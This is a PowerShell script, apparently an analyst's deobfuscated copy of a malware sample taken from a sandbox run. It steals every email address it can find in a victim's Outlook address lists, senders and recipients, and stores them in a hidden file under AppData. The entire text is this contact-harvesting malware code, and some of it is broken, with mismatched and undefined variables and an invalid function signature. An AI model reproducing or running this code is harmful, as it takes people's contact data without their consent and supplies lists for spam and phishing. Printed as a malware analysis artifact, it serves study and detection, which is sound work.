# deobfuscated pseudocode from l.ps1 - https://app.any.run/tasks/9433b851-34b9-462b-895e-26a8402b9985
Add-Type -assembly Microsoft.Office.Interop.Outlook
$NEW_OUTLOOK = New-Object -comobject Outlook.Application
$MAPI = $NEW_OUTLOOK.GetNameSpace(MAPI)
$COLLECTION = [System.Collections.ArrayList]@()
function CHECK_VALID($STOLEN_ADDRESS)
{
$EMAIL_REGEX = "^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$"
if ($STOLEN_ADDRESS -match $EMAIL_REGEX) {
return $true
}
return $false
}
function COLLECT_INFO($STOLEN_ADDRESS) {
if ($STOLEN_ADDRESS) {
$KNOWN_ADDRESS = $false
$STOLEN_ADDRESS = $STOLEN_ADDRESS.ToLower()
if ($STOLEN_ADDRESS.StartsWith("'") -And $STOLEN_ADDRESS.EndsWith("'")) {
$STOLEN_ADDRESS = $STOLEN_ADDRESS.Substring(1, $STOLEN_ADDRESS.Length - 2)
}
if (CHECK_VALID($STOLEN_ADDRESS)) {
for($CT_ADDRESSES = 0;$CT_ADDRESSES -lt $OUTLOOK_EXPORT.Count;$CT_ADDRESSES++) {
if ($OUTLOOK_EXPORT[$CT_ADDRESSES] -eq $STOLEN_ADDRESS) {
$KNOWN_ADDRESS = $true
break
}
}
if (-Not $KNOWN_ADDRESS) {
$FINAL_EXPORT = $OUTLOOK_EXPORT.Add($STOLEN_ADDRESS)
}
}
}
}
function STEAL_ADDRESS_LISTS {
$CT_ADDRESS_LIST = $MAPI.AddressLists
for($CT_ADDRESS = 1;$CT_ADDRESS -le $CT_ADDRESS_LIST.Count;$CT_ADDRESS++) {
$CT_ADDRESS_ENTRY = $CT_ADDRESS_LIST.Item($CT_ADDRESS).AddressEntries
for($OL_ADDRESS = 1;$OL_ADDRESS -le $CT_ADDRESS_ENTRY.Count;$OL_ADDRESS++) {
$CURR_ADDRESS = $CT_ADDRESS_ENTRY.Item($OL_ADDRESS)
$CURR_ADDRESS_TYPE = $CURR_ADDRESS.AddressEntryUserType
$STOLEN_ADDRESS = ""
if ($CURR_ADDRESS_TYPE -eq 10) {
$STOLEN_ADDRESS = $CURR_ADDRESS.Address
} elseif (($CURR_ADDRESS_TYPE -eq 3) -Or ($CURR_ADDRESS_TYPE -eq 1) -Or ($CURR_ADDRESS_TYPE -eq 4) -Or ($CURR_ADDRESS_TYPE -eq 2) -Or ($CURR_ADDRESS_TYPE -eq 5) -Or ($CURR_ADDRESS_TYPE -eq 0)) {
$STOLEN_ADDRESS = $CURR_ADDRESS.GetExchangeUser().PrimarySmtpAddress
}
COLLECT_INFO($STOLEN_ADDRESS)
}
}
}
function STEAL_EMAIL_ADDRESS($MAPI.Folders) {
for($CT_FOLDERS = 1;$CT_FOLDERS -le $MAPI.Folders.Count;$CT_FOLDERS++) {
$CURR_FOLDER = $MAPI.Folders.Item($CT_FOLDERS)
$CURR_ITEMS = $CURR_FOLDER.Items
for($OL_ITEM = 1;$OL_ITEM -le $CURR_ITEMS.Count;$OL_ITEM++) {
$INDIV_EMAIL = $CURR_ITEMS.Item($OL_ITEM)
$RECIPIENTS = $INDIV_EMAIL.Recipients
for($CURR_RECIPIENT = 1;$CURR_RECIPIENT -le $RECIPIENTS.Count;$CURR_RECIPIENT++) {
$CURR_RECIPIENT_DETAILS = $RECIPIENTS.Item($CURR_RECIPIENT)
$CURR_ADDRESS = $CURR_RECIPIENT_DETAILS.AddressEntry
$CURR_ADDRESS_TYPE = $CURR_ADDRESS.AddressEntryUserType
$STOLEN_ADDRESS = "";
if ($CURR_ADDRESS_TYPE -eq 0) {
$STOLEN_ADDRESS = $CURR_ADDRESS.GetExchangeUser().PrimarySmtpAddress
} elseif (($CURR_ADDRESS_TYPE -eq 30) -Or ($CURR_ADDRESS_TYPE -eq 10)) {
$STOLEN_ADDRESS = $CURR_ADDRESS.Address
}
COLLECT_INFO($STOLEN_ADDRESS)
}
$CURR_ADDRESS = $INDIV_EMAIL.Sender
$CURR_ADDRESS_TYPE = $CURR_ADDRESS.AddressEntryUserType
$STOLEN_ADDRESS = "";
if ($CURR_ADDRESS_TYPE -eq 0) {
$STOLEN_ADDRESS = $CURR_ADDRESS.GetExchangeUser().PrimarySmtpAddress
} elseif (($CURR_ADDRESS_TYPE -eq 30) -Or ($CURR_ADDRESS_TYPE -eq 10)) {
$STOLEN_ADDRESS = $CURR_ADDRESS.Address
}
COLLECT_INFO($STOLEN_ADDRESS)
}
STEAL_EMAIL_ADDRESS($CURR_FOLDER.Folders)
}
}
function GET_LIST_AND_EMAIL() {
STEAL_ADDRESS_LISTS
STEAL_EMAIL_ADDRESS($MAPI.Folders)
Add-Content $env:APPDATA\Microsoft\.Outlook $OUTLOOK_EXPORT
}
function STEAL_EMAIL_INFO() {
$FILE_EXISTS = [System.IO.File]::Exists($CHECK_FILE)
if (-Not $FILE_EXISTS) {
"" | sc $CHECK_FILE
GET_LIST_AND_EMAIL
}
}
STEAL_EMAIL_INFO
Comments